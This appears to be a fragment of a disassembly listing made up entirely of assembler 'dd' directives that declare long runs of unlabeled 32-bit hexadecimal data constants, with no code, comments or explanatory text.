		dd 0D3F4B0A7h, 4B620007h, 898D7B2Dh, 4AFFF000h,	0CBAE5B12h
		dd 971A0385h, 0EB2A3FCh, 7E40FABAh, 17078E8Ah, 524F7E55h
		dd 0EF3783C9h, 60D389CCh, 0F83474h, 44883ADDh, 507BC11Ch
		dd 0AB58932Ch, 0AD73D200h, 39598DA0h, 0E08E4D5Bh, 0CEA7DCFCh
		dd 339DB01Fh, 700F2ACh,	27EB80A2h, 6DD8D4h, 4173ECA3h
		dd 4B121D52h, 8955C538h, 80343011h, 91CFA04Ch, 0DC3A0118h
		dd 5B565C7h, 264BFCB2h,	79EBBA09h, 20EAA0C2h, 511E2Fh
		dd 81AD84DBh, 0BA07616Ah, 0A3EC9900h, 98F7B080h, 0F1D000Ch
		dd 3B44CF64h, 0AE2CAF73h, 0BA00164Ch, 0E3F83A28h, 6B6C000Bh
		dd 0F09778A8h, 41004EE5h, 38CDBB7Fh, 5A6AEAh, 8FEB4703h
		dd 9D1694DFh, 0A4531D00h, 6702236Fh, 0D6CA07EEh, 0F0130F5Ah
		dd 57888306h, 568A2805h, 8D87511Ah, 70BB04F2h, 0FDCC004Ch
		dd 378F27DCh, 0F400E1A9h, 7E3CDFF8h, 661C41h, 20467A4Fh
		dd 0E8F0B103h, 0B70F4492h, 0CEE39Dh, 0ACAAC0E9h, 9483002Ah
		dd 0D4F82380h, 26EEEB2Fh, 1822F64Bh, 0A221C0ADh, 0E0F40073h
		dd 0C17FA4E4h, 8003ECFh, 0FB553FB6h, 77FC4850h,	7BF000CAh
		dd 2AB4E46Bh, 0F60007D3h, 0EE36B690h, 0BF5647h,	35808D23h
		dd 0B28E44E7h, 0A100DFFCh, 915BC113h, 3445FDh, 3A471299h
		dd 42DB4C8Ah, 5F5358h, 3E722A19h, 0E4569h, 0CC79F4CDh
		dd 0FE5FF1C6h, 0EE986C00h, 0CA05C9FDh, 2A421D74h, 0E2CE4719h
		dd 68B19034h, 3E586357h, 0EB390044h, 0A64589F9h, 4A38C0B3h
		dd 0ACC49FD9h, 70AD1D2Dh, 92A000EBh, 17C3E923h,	460760E6h
		dd 0F3F55E31h, 808651D3h, 0DF3520h, 0D22A8892h,	0A84E11E0h
		dd 0A6EFB300h, 419F7EEBh, 844600FBh, 0C489B84Ah, 0CA0035DAh
		dd 8F44387Ch, 0A10DB724h, 0F6707798h, 423101E3h, 5ECDB203h
		dd 0F45FEDC4h, 96781497h, 0CB900E00h, 4A259F2Ah, 277D4C48h
		dd 1EF7B400h, 0C0E36D0Dh, 0A2F3A802h, 40CA3D91h, 0F84EAEE6h
		dd 4FDF014Ah, 0BBC9CD18h, 31F0FD84h, 704CDC20h,	0E6334600h
		dd 8B8F3882h, 69C60BF1h, 9DE06D63h, 0D97A35A0h,	0D5D438h
		dd 1C40DFBEh, 3C60F16Eh, 0D180F209h, 1D2D5CFCh,	0FB0061C6h
		dd 3CD7011Fh, 39B5E850h, 6F80BD60h, 24F3B6C9h, 0BF74F741h
		dd 71A39C00h, 2AA4FF8h,	15E828h, 0FEA8CB7h, 0D9176F2Bh
		dd 66040700h, 9A26734Eh, 0C9AC007Dh, 4FB73E23h,	580F4601h
		dd 0E0D814EDh, 179D1361h, 0D0771D19h, 75DC00F1h, 37F86072h
		dd 0B100AFFAh, 89FF237Ah, 4C4F11h, 0D6618579h, 789C4D5Dh
		dd 0F764EE09h, 0D197007Ah
		dd 0A52CDEh, 77ED13FCh,	84C5B319h, 0D6B13900h, 6527F2F8h
		dd 0F1380089h, 0B5EEAE1Eh, 0D00DEB4h, 1F56C416h, 9CFBE6h
		dd 0A330EB29h, 0BECC696Dh, 70061907h, 0EFF33F18h, 8F02980Ah
		dd 0AB20005Fh, 0CD370793h, 0B50B6EC5h, 911D75h,	208612F4h
		dd 34460F47h, 83047CC0h, 6B30C023h, 0A10367C3h,	924D169Eh
		dd 50F682DDh, 3C5BE298h, 7F2C0574h, 0EC6D00C1h,	5A8B8751h
		dd 5664A6A0h, 54FA200h,	0D2E8BEEEh, 299601BCh, 0BDDB66A1h
		dd 0B30CEC63h, 76EFF39h, 0FB839AC7h, 58621DF0h,	0CFA500FDh
		dd 79323C48h, 1101C187h, 8EA6998Bh, 82F43D59h, 1BC0004Dh
		dd 21EFDAF4h, 0EB00D2B1h, 894ACEE4h, 57E8F08h, 0E892D471h
		dd 5DC80113h, 0C8FCDBCBh, 0F10035B2h, 0DAE4E34Dh, 0F349BA2h
		dd 64C6DCABh, 0DB86B4A0h, 84009E03h, 25683B3Ch,	27EF0B77h
		dd 7881BFC3h, 0E69BABF6h, 0AAB8A080h, 0F006489h, 710B0856h
		dd 1E8704A9h, 6E1795h, 20EAD50h, 700E985h, 0F7E3D409h
		dd 1C374404h, 21E701h, 720F7D8Ch, 9100FB7Ah, 6E9EF78Fh
		dd 0C75F7Fh, 0B1E4167h,	887C35DEh, 456F2802h, 0E0B1F6ECh
		dd 0EA89F8h, 0A7A89A96h, 1935F30Eh, 4D749800h, 216DC037h
		dd 22ED0052h, 8A79E877h, 6E00501Ah, 0B503DCF5h,	1EA98496h
		dd 5CCEE29Dh, 0A76C00CFh, 23273C2Bh, 40039ECh, 88AB2843h
		dd 0F9B366h, 0E8F77674h, 86C6BCFFh, 0E85D6C2Ch,	0C9A7F407h
		dd 1BB9C370h, 8C190006h, 91624E42h, 4C00FF2Dh, 0C7A4A8ECh
		dd 0E6C37Ah, 7990675Ah,	22C1BCFCh, 62F3B907h, 7C006A10h
		dd 0B8D78449h, 7E4F00C8h, 221F8346h, 0C007694h,	4AD56EA7h
		dd 3FA4B5CEh, 1E135C65h, 0D258105Eh, 0EC090173h, 4E4DFED0h
		dd 56E630A5h, 0BC7C3Dh,	0B31B6AB2h, 428372h, 25B001DCh
		dd 4A3903C7h, 7CF8CF02h, 841F4BE5h, 80BA46F4h, 4FD88718h
		dd 901EF000h, 0B5CF411Ch, 16150037h, 724A0A29h,	0D6077C67h
		dd 9259B4E9h, 0C06A2423h, 0F5DA0EDh, 102F5B47h,	4A1A5840h
		dd 9E00AF1Eh, 8687BF97h, 97428h, 0D6C163A8h, 685B8CCh
		dd 4DD14501h, 0C4D0B7CBh, 2C99FA20h, 380F44h, 0CF9B9179h
		dd 0FF7C38B3h, 82893700h, 0D77168F1h, 4C8E0181h, 8D6FDCAh
		dd 0E567E1F8h, 1FF470D3h, 9D454E01h, 1A55D25Fh,	1D07C9BBh
		dd 8B04F0C1h, 50E1CF87h, 82CD4AB1h, 0BB888E00h,	0C667A5CCh
		dd 3701004Eh, 90F4F22Bh, 0D50924DAh, 8989397Ah,	0B6280356h
		dd 0D8EAF054h, 0E99D000Ah, 1DECDA43h, 0F10092CAh, 907F3581h
		dd 38B34B28h, 6687A65Fh, 0C05451D7h, 343F3AAAh,	0FBFDC00h
		dd 56E82D9Dh, 5DA612C1h, 0C05B1CBBh, 0F4DF46C7h, 6500F5B6h
		dd 59946DEEh, 0F05CFECh, 0ABC00BC6h, 0DB01BF0Fh, 4106269Bh
		dd 305562E4h, 0C02EA50h, 7C3A846Bh, 306844F1h, 574C3389h
		dd 370093D6h, 0E70BC32h, 785815B6h, 8C90003Bh, 4314BB01h
		dd 0F9F9F969h, 5AE4435Ch, 38CACBB9h, 97F7000h, 3EB1F200h
		dd 8D6B66EFh, 7FC001Fh,	265195C3h, 81161E60h, 0E4D01119h
		dd 0B0BB93h, 3CB1D927h,	0F5CF361Ah, 0AAA33809h,	0F9C200D1h
		dd 32D0612h, 0B90B9F9Dh, 0D6C8E6ADh, 3400C1CDh,	0AC94C265h
		dd 8FD19Ch, 5EEC85E1h, 6E927229h, 0CBBDAD00h, 243E7DEFh
		dd 0AAF000D0h, 9F0B909Eh, 550D7B0h, 4500D290h, 9C7B80D9h
		dd 58E554FAh, 1795EECh,	0E2190389h, 3086DED5h, 2DEEA80Ah
		dd 69EE003h, 0F8B668A4h, 792FC41h, 5C53970Bh, 5D46C269h
		dd 6C6A9080h, 7492949Bh, 66E7D4A0h, 2A9A9301h, 5FB11C5Ah
		dd 27DDFF0h, 1677F3Fh, 0CCD83DFBh, 4F2221h, 522CBF9Fh
		dd 2400566Ah, 82F8C9F7h, 0EEC33Dh, 0F369DE63h, 0F6D97961h
		dd 55E21700h, 0BCCBFFA7h, 278BE837h, 6C00F50Ah,	104F5FEDh
		dd 6E9AB89h, 82029C68h,	0FE20334Ch, 1A00DC70h, 0E7CCAA27h
		dd 2B13E2Dh, 63FF5D90h,	0CE86FE5h, 1100266Dh, 0C2527DBh
		dd 0FF0E73h, 0F2EB89D9h, 9B953606h, 0EC181F00h,	718778ACh
		dd 21E041h, 288F0539h, 0A40DF15Ch, 6001AAF0h, 7358270h
		dd 0A46089C7h, 0E6CD00ABh, 9B6AFEA8h, 0C80096BEh, 0A2222F4Fh
		dd 8B528Dh, 24FD5107h, 0E8B01FBAh, 7CE6781Dh, 0A066C04Fh
		dd 7FBBF84Ch, 0EB2F00B6h, 63D3CDD1h, 0C53E4719h, 9D481E38h
		dd 3593A3C0h, 0A2B795h,	1F1592C4h, 0D413AD33h, 5C6F5700h
		dd 8B68966Eh, 46F02Ch, 0AF9316DBh, 0D035F44Fh, 0D4F5A600h
		dd 0E72C7CC9h, 0EFDF263Dh, 3B908060h, 4FB2BA4Eh, 7200D978h
		dd 378EF0FCh, 36878Bh, 951E91C1h, 83586ACEh, 15A8B000h
		dd 0EAD9C83Dh, 96B11E7Bh, 4384007Eh, 686164F1h,	85BBC900h
		dd 381AAE10h, 0AD0800CFh, 29E34114h, 0E707AC5Ch, 0C2D68716h
		dd 0C0BE69E2h, 172FC0D8h, 0A5C5F0h, 1768E550h, 4A006009h
		dd 0DDEC88A2h, 90630A1Fh, 0D8280776h, 0C0C604E6h, 0D79E9F7Fh
		dd 0D200B270h, 0DCBC62E3h, 4C1774AFh, 8800A8FCh, 0A3E89E46h
		dd 6C00E18Ch, 0DCED88Eh, 3C7475h, 0E72DA979h, 3A33624Ah
		dd 5FBC0800h, 8A200A42h, 8BFE00DDh, 2915A111h, 6A2EA0DCh
		dd 97006C40h, 0B4307DA9h, 0B56712FDh, 4418B0F8h, 3F0018B0h
		dd 6EA116ABh, 19C2EF69h, 20B431BBh, 0C5A71060h,	0EBE7C9Dh
		dd 0A86DFAA6h, 8436A360h, 0DC2EB814h, 4C836494h, 88397472h
		dd 0F8620713h, 447D009Bh, 69041E2Eh, 7E00A3E9h,	0D427CD47h
		dd 8B6BECh, 8EAD82Ah, 7767EBAAh, 0FE6C4600h, 0D1984809h
		dd 8CE35088h, 0C24A203Ch, 171DDD12h, 0B95CB040h, 26CC42ECh
		dd 4EF82Fh, 0D8D95455h,	0A21705DEh, 0B401207Bh,	0CD011338h
		dd 93FA430h, 1ADD6248h,	0B5B4CC0h, 8002985Eh, 0F8FFEF51h
		dd 0EEC52CF4h, 413C138Fh, 3455B024h, 2E3F7094h,	63DC4D00h
		dd 7625AD7Eh, 1C9D7D32h, 3A2A19h, 31A8F19Ch, 0E870418Fh
		dd 81B9D63Ah, 0DC6985C8h, 0FFC4E0D4h, 25BC0C07h, 590E8C54h
		dd 3C7E5E00h, 0CF279C9Eh, 0AFE9C2F7h, 8E005655h, 72BD2F6Fh
		dd 2E020076h, 0BAB749EBh, 0EC078425h, 0D63D8304h, 0B60066B7h
		dd 6345Fh, 48D91D72h, 50F7E949h, 53ED5E0h, 97E8808Dh, 0BEC05EF6h
		dd 54450029h, 2F3833ADh, 26B825CAh, 1B302807h, 6240A9A8h
		dd 1C3C93h, 0EE471857h,	17359BDAh, 44004872h, 36822FF5h
		dd 76EB1Ah, 8B859F14h, 101DA1FAh, 0B10E2278h, 0E198EE77h
		dd 17C4E021h, 0FB4ED8h,	0E1DA1C15h, 0D4C14C73h,	0B8F2FE0Bh
		dd 3FB500A3h, 0BE924Eh,	0BA80CD3h, 62B21A12h, 2B430E03h
		dd 0FA82206Dh, 0A9F88746h, 0FA9F41A0h, 0B22D00D2h, 151C11FFh
		dd 0C000B883h, 12077928h, 90FC3442h, 0FF271600h, 299601BEh
		dd 9DD7AA5Ah, 41005221h, 0B617DB99h, 0A10E00ADh, 0E6F2E865h
		dd 0FB750C4Dh, 0BBB5DE00h, 0AB687C86h, 8B9C306Fh, 73D59692h
		dd 0A40AC030h, 8ACB36h,	5991A1EAh, 72A9B66Eh, 87296D3Dh
		dd 0FFA589E5h, 0ECE8FBE0h, 0EFEA1Eh, 0E402E24Bh, 27987ABFh
		dd 842D2005h, 0B8C0E013h, 0EAB225h, 955CE6DBh, 1E68F5C3h
		dd 0DFC8F300h, 0CD33F473h, 2840056h, 816E91BDh,	41902FCAh
		dd 6800D0E8h, 0EB5C6D43h, 57F408h, 0B0533231h, 0C61005A9h
		dd 38779A98h, 5D28A324h, 0F136B130h, 0FD8F078Bh, 80ACD17Ah
		dd 0F0868AFAh, 0B7C07D00h, 8579F935h, 6F1A5CD9h, 259A5E00h
		dd 952AEF8Ah, 0BE07CAF0h, 37EDFD41h, 702FC310h,	86D0009Dh
		dd 204DA72Ch, 0AA0118A1h, 3F7627FAh, 0BBD0A37Dh, 4BA8006Ch
		dd 0ECD7E867h
		dd 0F5036FD6h, 8505263h, 0EE51B056h, 0D8F1E61h,	8EFF02EFh
		dd 3840E19Bh, 620EBAF6h, 80A533EDh, 0DF0C1AC2h,	0D2A60186h
		dd 0B669A43h, 5987F0ECh, 0FEE00D00h, 0DF3FDA50h, 0E49C000Ch
		dd 0EA8598D6h, 5A001709h, 3D1B510h, 0EAAE588h, 3DB8905Dh
		dd 0BEC52A26h, 86844000h, 45971829h, 56FA0066h,	0B5DCBB11h
		dd 5F76FE2Ah, 166B24Ch,	0CC221E62h, 0D9ECA569h,	56330016h
		dd 0DDA197C0h, 2C00874Ch, 1534E71Ah, 3D8E8C14h,	1E74CDB5h
		dd 0C039B3CCh, 0E8D03B81h, 0C45C423Dh, 0E717000Eh, 0D475D669h
		dd 125400DFh, 348623EFh, 0DB0089D5h, 1D36516Ah,	0EA1EE714h
		dd 0BD9C005Fh, 3E194DEFh, 4107D983h, 0B55082F6h, 37809560h
		dd 58BA004Ch, 2E62589h,	4906F34h, 0FB77F0C1h, 0A0D5790Eh
		dd 576CEE0h, 0C4480C82h, 75A8C0ABh, 3F15E581h, 7FC1A94h
		dd 9936E0FEh, 3DF25680h, 0D3F40181h, 5433E73Bh,	0F0042092h
		dd 30FC49F2h, 0B1BB0307h, 0AE80F2B4h, 4A0122Eh,	0DFFAB29Ah
		dd 7C0890E0h, 712E95B4h, 0AF00B7DAh, 7FC638FBh,	6BBD00E6h
		dd 0BF72A6C7h, 0F1002353h, 4746E848h, 96B004h, 0FC61766Dh
		dd 0C4ACD8FEh, 0FF49400h, 282D5521h, 0D93000DFh, 0A8835E8Eh
		dd 1100E878h, 107E34ECh, 3DE9CEh, 2DFFB663h, 0F00D39A1h
		dd 948A9C00h, 1FFAFDB3h, 6C6500CCh, 2B330B84h, 2D00BDE5h
		dd 0F13808Bh, 0F4AFC67Ch, 31CD00CCh, 84EE96BAh,	0F000337Fh
		dd 9D8F0266h, 0E7A6E23h, 53AD6DA2h, 0D5E0658Eh,	0A7F4583Eh
		dd 6330AA0Eh, 2317801Bh, 906E32E0h, 2B1E0388h, 89E7950Ch
		dd 0E83AB0BFh, 50909D5Dh, 484FCF07h, 0CAE7DFB8h, 0E480F984h
		dd 0AB5E4DBh, 38119AA1h, 7B12E4h, 477A46ABh, 0DA3BD696h
		dd 89A60070h, 9097536Eh, 8DF13A14h, 0C760561Fh,	0B01F273Eh
		dd 9ABE3F5Bh, 0B330600h, 3B9B24DCh, 1B560089h, 0C41EC15Dh
		dd 7A007E21h, 0CDF51416h, 3482608h, 36D9CE2Eh, 9F9007B3h
		dd 904CFCCBh, 491D00DBh, 0ECCFD766h, 0B42C009Dh, 0E227124Ah
		dd 7EC7780Eh, 6260E461h, 7CA2DFCDh, 2ADD002Bh, 0DE3CD947h
		dd 0E5004F8Ch, 22172126h, 301EF2h, 23BC5335h, 0CE546F2Fh
		dd 0C2F1B807h, 0A56EA365h, 7080DD8Ch, 0E346606h, 3A176A64h
		dd 0E6D3E2E1h, 0EE7C60A7h, 0E1684601h, 9A8BD40Bh, 5714FF0h
		dd 88A3074Ch, 727883C1h, 0C84B7ED0h, 0AFC9C400h, 5C59E0B6h
		dd 0D5F0C6h, 0CF74ABBh,	0E383A45Dh, 7C52AF2Ch, 80966009h
		dd 74C99C52h, 843D0E4Fh, 93C0DFB9h, 9F2BD292h, 0E4204200h
		dd 0B7F1AD4Ah, 4022EF45h, 611CB80Eh, 0C197401Eh, 0D67A38C9h
		dd 0E2C7D407h, 0D0204732h, 0EC0FEBC2h, 0FBB800DFh, 0D9EEC1CBh
		dd 49008FEAh, 9B717906h, 3EA912EFh, 11801666h, 3E5CB136h
		dd 7014285Eh, 3AE9F7B7h, 0E3658FAFh, 0FB430055h, 0FFBFEBh
		dd 4B9E9B75h, 8CFEB6ACh, 842D107h, 58203832h, 0F330E3A2h
		dd 0AD36CE8h, 0ACAEB936h, 918C0EA5h, 0D271CE80h, 430733E4h
		dd 6C218A0Ch, 289AABA0h, 0DBFE1Bh, 23FCD6A5h, 610BB21Ch
		dd 2C07F300h, 43B9D215h, 3D9E1DF1h, 0ABD8085h, 6F297B10h
		dd 82671316h, 47AAF300h, 3D95DDD8h, 9E804878h, 76FB5B56h
		dd 23AD4C6h, 3A00FD70h,	0E41F540h, 4C51AEh, 90BB711Fh
		dd 7653C79Eh, 12F9ED00h, 28F58141h, 49EE3C0Fh, 57971101h
		dd 706C34D4h, 9800C00Dh, 0A2DE8C4Fh, 0F6B8C9C2h, 204E0012h
		dd 0D54705CFh, 38006963h, 0B7A2D7E3h, 634624Ah,	13447EBAh
		dd 8C3FC8CAh, 8FD68040h, 2C77DA66h, 0C8560019h,	3C61F3Ah
		dd 7C1F73A2h, 17C97A0h,	0E5EA66E9h, 4ED047EFh, 0D6C700E7h
		dd 7005674Ch, 9900C4D9h, 0B45929E8h, 0FE3BC92h,	2AD42146h
		dd 333000DDh, 0A8B33799h, 447B9800h, 0C3AFBD79h, 6E4003E8h
		dd 33D168Ah, 8FE9CAD8h,	0E065C401h, 154853E1h, 9BD6ECh
		dd 4D58F9A8h, 0A0AB6C16h, 59F0BD0Fh, 7BCCE04Eh,	7C94335h
		dd 6EEBD415h, 0CD4F814Dh, 1FEEC801h, 0D5F10F00h, 0D3AEBCE6h
		dd 94FE62h, 2124E2E0h, 2AD7A22h, 0BB40CEF9h, 0D67FBF7Bh
		dd 3A0046E0h, 0DE7DC57Ch, 1403ED8h, 30761E91h, 0C063FE19h
		dd 870074E2h, 8F3B0A51h, 93614Fh, 0FBBE69D4h, 0EE8A6D8h
		dd 47F46002h, 60083F45h, 56AABAh, 0A5BDCA9h, 9D04A668h
		dd 72A23B00h, 33267BB9h, 0E5DD0008h, 0A4D728FAh, 2C00FBA9h
		dd 0F5D8FF81h, 5ADF94h,	92A25F5Dh, 62C4D27Eh, 8AB3000h
		dd 2C89133Dh, 0F3FCAFh,	6A92A804h, 27F86784h, 0FF87C11Ch
		dd 286A580h, 7AC81D25h,	0E4A71F45h, 0CABF8383h,	0CEF84D47h
		dd 373A2E39h, 20EA800Dh, 386B4E33h, 0E8C2033Fh,	18CC94C3h
		dd 900479B0h, 2CF1A600h, 52824A78h, 0A15B0017h,	9264070Eh
		dd 441EC44Ch, 79C0A303h, 0FCF538ACh, 0EE940066h, 0D08BFD1h
		dd 0B1713E5h, 3D006A06h, 8D259542h, 9DEF24CFh, 30E10B04h
		dd 8008F90Ah, 6F2C5B7Bh, 0F300BF7Fh, 0DEAC7A5Eh, 1EB0936Bh
		dd 808054F5h, 0A4879736h, 65005D86h, 9E7A1B46h,	4A8581h
		dd 18FE7B6Eh, 0C84E600Fh, 4B8C60C0h, 19FC80h, 0CC3549C0h
		dd 5C638A5Dh, 824510A0h, 90C0FC74h, 11A8F362h, 1BDDB068h
		dd 188732FDh, 1003E3C3h, 5E978810h, 0E8200C6Eh,	34C99BBDh
		dd 50588430h, 0A3DD495Dh, 33FDA0C1h, 0FC81184Bh, 57681017h
		dd 0E92C5D01h, 0DD3977C4h, 0FDA92086h, 0C05A005h, 0BCE86916h
		dd 890F2C07h, 0DE003C98h, 7F10F8C5h, 72030AF3h,	5C7D5566h
		dd 0E0F3ADh, 775BE698h,	4287F085h, 4E49FD00h, 0DB6CFAE2h
		dd 0D25000B2h, 8F406AC1h, 0FF1CB50Bh, 42878D5Ch, 5210635Dh
		dd 59A42Bh, 77AC712Ch, 55CF48FFh, 61DE331Fh, 0A19D1E00h
		dd 0E0A217Ch, 0C406BE85h, 79606680h, 0F80008E7h, 58B43C07h
		dd 82141Dh, 0B6305F4Ah,	0A9AEA311h, 4DF9F81Fh, 0FD4638C6h
		dd 0D0140032h, 4C262E52h, 0A000E20h, 0B7F0CEC2h, 2265ABh
		dd 44560264h, 0B83398BAh, 0C9EF400Fh, 0BDCE80E0h, 0FE29Ah
		dd 31DF139Bh, 6E7C9EBCh, 1418A362h, 52A080E1h, 1FCC61Ch
		dd 0F0EC8FF5h, 505E9BEDh, 5F6F65A8h, 18BC770Ch,	318F5h
		dd 0BD8D9C0Eh, 0C4345990h, 0F7CF4D01h, 6A7CFCE1h, 39453980h
		dd 3DE0EC5Ch, 0E8C8FB19h, 21835309h, 285C3125h,	0D8F66DE9h
		dd 48C6F7D8h, 7A79E57Dh, 0B02D00CEh, 0B2E8B669h, 60BF5723h
		dd 122B77B6h, 438E6356h, 212AB00h, 505991A0h, 0E248D160h
		dd 78A4A1h, 0B6E4038Dh,	5C0D7E1Eh, 5EE63Fh, 65D0B169h
		dd 0CE32F9h, 4A4E4F42h,	0E85D6A09h, 88CFAA01h, 0AD6765B3h
		dd 1E627FCh, 0E0592C0Eh, 0E01BF9C8h, 6300CA87h,	0FF48BA6Eh
		dd 4C3C73B1h, 0B30097D8h, 31A9E89Bh, 3D01C723h,	0DFEE65B0h
		dd 99D853A1h, 4D2A1F58h, 770C1FA4h, 77333008h, 62003948h
		dd 0C654874Ch, 94D64h, 766BB8E1h, 8351391h, 9A607861h
		dd 388792CEh, 30E42A67h, 0C394292Fh, 0D56BFF01h, 87E2619Eh
		dd 0ED13C1F6h, 67B330E8h, 0A5A430B8h, 716EC0C0h, 0F500964Fh
		dd 75C0A31h, 1BE84CE3h,	0A86B650Fh, 5B241801h, 9ACE1EAFh
		dd 83E97180h, 0D26A8839h, 9179ED00h, 0AEE02203h, 0C4E20E8Ch
		dd 2FCBB9Bh, 0CE77CBA4h, 0EC5AA490h, 25631F00h,	8E86E14Eh
		dd 0DAD4005Dh, 78470D8Dh, 7700AE8Ah, 0B93D866h,	608BDA9h
		dd 19954431h, 1852100Dh, 0EFB0AA04h, 78BD8B4Bh,	2494726Eh
		dd 7993BAh, 52D767F9h, 2B984CE0h, 8BA7BC1Eh, 0E50BA0Fh
		dd 934F8047h, 0F898A453h
		dd 6CBD0059h, 99A65594h, 0A93C60C8h, 0B4588F9Ch, 0A80E9DABh
		dd 0A071408Eh, 1F679E97h, 0F8BB1C5h, 5EA30CA3h,	6BC0AAABh
		dd 74059ABEh, 97AEA552h, 10C1742Ah, 0F00AE384h,	9E25A55h
		dd 0CB21B500h, 9418D4B4h, 38910763h, 1F051075h,	575D2838h
		dd 0E808CF89h, 0F73B8B20h, 1256F109h, 85C010E3h, 19082D89h
		dd 84874444h, 42889E22h, 441D3B49h, 0FC22849Bh,	38554281h
		dd 0A95FC447h, 7111763Ch, 0B5771104h, 210B312h,	417D8978h
		dd 12B39F14h, 6FFA1357h, 3C049925h, 6B48B98Eh, 2474B642h
		dd 0B74121A5h, 9C6F13h,	626173E3h, 0A52B00BDh, 5C8681B1h
		dd 0A100A27Bh, 0D1F5CBA3h, 3C4C6053h, 0D581F73Ah, 2156BC10h
		dd 0CEA0F8B4h, 46A71100h, 473EBA2Bh, 0DEA60F90h, 0A1C0511Eh
		dd 0F6DC3D9h, 0F6FD2600h, 0B5F1B753h, 0DD680022h, 8C11A1CAh
		dd 44FC3D69h, 5208DF0Eh, 31B802E3h, 380D584h, 0C3CCD29Eh
		dd 1A5D630Eh, 412C43D5h, 456BD8D1h, 0E29E0EF3h,	0D0E17260h
		dd 0E93F384Bh, 0AED7FCE0h, 0EB702507h, 0E220A11Bh, 0C00DC9h
		dd 1DB61A44h, 69C66A61h, 0B1278B00h, 0BAACF0C7h, 3A8AFE6Fh
		dd 7500ECD0h, 6720AFCDh, 690049A2h, 0E197F9ACh,	161C3FAh
		dd 9C88C40Fh, 0F8C247A0h, 57010570h, 9A9497E9h,	74200C96h
		dd 11483C5Fh, 81920EB0h, 0CB00574Ch, 0AB4B6E25h, 0B58B33h
		dd 6A46DBBDh, 0C6CFAE32h, 45118F00h, 509E4171h,	7E92001Eh
		dd 0C7262D18h, 0C53C8D10h, 0E5AD0776h, 9CC014CEh, 319D54h
		dd 3E0D13B0h, 11C45992h, 0F9431605h, 2BC0229Bh,	0D8340Bh
		dd 0D9284DD7h, 0BE6E089Fh, 7EA17800h, 1A013FC7h, 0DCB0A6h
		dd 8B8BD76h, 90C916D9h,	0EC522100h, 5695EE6Ch, 0C0DA2496h
		dd 9C3A00E0h, 169ECA0Ch, 80FA3B3Eh, 2A273D4h, 0BF22AAh
		dd 0FE9774D0h, 7AFCC0Bh, 69675D00h, 35DD0A1Bh, 0A21700DFh
		dd 5FF29473h, 7A008D9Fh, 443F4160h, 6614EDh, 8F3B69A6h
		dd 1FAABA72h, 0AF30CC1Eh, 0D819CDC3h, 0A8FCD35Fh, 22928Ch
		dd 3D0896B7h, 0AE8560CBh, 0A6BAD800h, 0E0166BEh, 9ECE00DCh
		dd 0B7ADB3D7h, 93003A4Bh, 133F4CA7h, 5C8F792Fh,	730036D4h
		dd 0B78EC0Dh, 1800B280h, 4AA18BA3h, 3C60AC9Ch, 1501C3E7h
		dd 108DD625h, 262EF037h, 659B9901h, 0B99706A5h,	759AE240h
		dd 20770047h, 60D658C8h, 98001E4Dh, 4B8FE6E2h, 3FEED2h
		dd 85F96DE3h, 0CB028619h, 11BA4900h, 7A6328Fh, 0EF1B00B4h
		dd 8088B9F1h, 0AD01E1D7h, 0CAF9F56Eh, 0EDF8A725h, 4AEADCh
		dd 5A1753E3h, 0F61A06E5h, 8992F200h, 0A8B34632h, 36BE0E2Eh
		dd 4C00C1BCh, 0C3451DECh, 7B4EF317h, 0CA27D703h, 70F8C0D0h
		dd 0B18D0368h, 872EBC38h, 236063B2h, 2400B51Ah,	9F5ACA89h
		dd 164940h, 0BB0BD14Ch,	14B72D81h, 0ADA5F03h, 0E827A9C6h
		dd 0A4D84Dh, 51F5F3ADh,	0C982A0E3h, 6C725900h, 8303F069h
		dd 0C7CB006Ah, 0F47FE212h, 0AA00A409h, 1490175Fh, 0B73240h
		dd 273EA04Fh, 8692C3DBh, 0D9013970h, 7189BE54h,	9EC4CFBAh
		dd 697D03D3h, 0C5E47F8Dh, 22B02EA0h, 38EA3E7Bh,	0E301D801h
		dd 0BF86D6DBh, 0F2605AE0h, 660602FDh, 3226784Fh, 0AF03C4A0h
		dd 0D03B3B36h, 18910050h, 29EEE805h, 2BAE0031h,	3FF9729Fh
		dd 3E0043BEh, 1847BB6h,	34FB8Fh, 0D790C308h, 0B1527F4Bh
		dd 0DF3D300h, 0B07772FCh, 815F003Ch, 560CF84Eh,	2100E3DAh
		dd 13B62CCEh, 10E643h, 491E0ACAh, 4A9E30FEh, 8399593Fh
		dd 1589D318h, 56D78882h, 0CF6B003Ah, 1366AC3h, 1D07BA86h
		dd 0F4C0086Fh, 6ED68C70h, 0BD310089h, 7DDB1436h, 0A600568Dh
		dd 1DC18220h, 2A8ED7h, 0DEBC04DAh, 134D7E7Bh, 0ACCEC801h
		dd 2F244EB0h, 282EECh, 3FCD9119h, 8218E773h, 85CF800h
		dd 12B34B7Eh, 0CA8F00B1h, 0EF8D78ADh, 5301A094h, 5402A716h
		dd 0A5C5C914h, 695BC0h,	0EAB2D410h, 0E55DFEEDh,	0CB2C0C00h
		dd 7ED892E2h, 43050068h, 9D74F589h, 0B6387D49h,	16A0060h
		dd 583910B7h, 0F1E20023h, 0C23EFC66h, 8B00EF67h, 18CADB7Eh
		dd 3B021h, 0C40EBCF2h, 8CAD8306h, 1D00117Bh, 0F63E0CDCh
		dd 9D9B3EEh, 0C59B656Fh, 546C7401h, 9C97F88Ch, 69455000h
		dd 4A9987E1h, 43A90016h, 937E66FBh, 0F2003D54h,	0D4F7ED40h
		dd 7B31995h, 0F6C42330h, 0AD0391E3h, 0B1026079h, 74F448h
		dd 0C99EDF07h, 93E60h, 15E07BCEh, 95CC0D64h, 50936300h
		dd 915C9225h, 0F1725Dh,	0E2E8A397h, 1ECFF456h, 0F524A900h
		dd 5A33286Eh, 0BCC300F0h, 0E5A1EED1h, 96002350h, 0B2B642D2h
		dd 0E4094D91h, 588C030Bh, 22E9E415h, 64F37EF8h,	9EFBA400h
		dd 7BB09FB1h, 0C5DE025Eh, 8B1856D4h, 33279040h,	12259400h
		dd 925F770Eh, 8CCC00A2h, 398A71FBh, 0EF004D22h,	2B6BE09Ch
		dd 61C460F9h, 52CE188Bh, 78C73018h, 12A4F600h, 667D7256h
		dd 768F213h, 0B3BBB934h, 83E8B063h, 3B0079BFh, 6C0A66B1h
		dd 21A99Eh, 7F1C992h, 0B3F7E9DCh, 708AAF00h, 7A284AB1h
		dd 0E62A004Eh, 0D0A60D1Bh, 0E0E1077Ch, 52006086h, 6D34CC9Bh
		dd 0ABB0EFh, 83591D5Bh,	0B32BE871h, 0DA634300h,	0C594AE06h
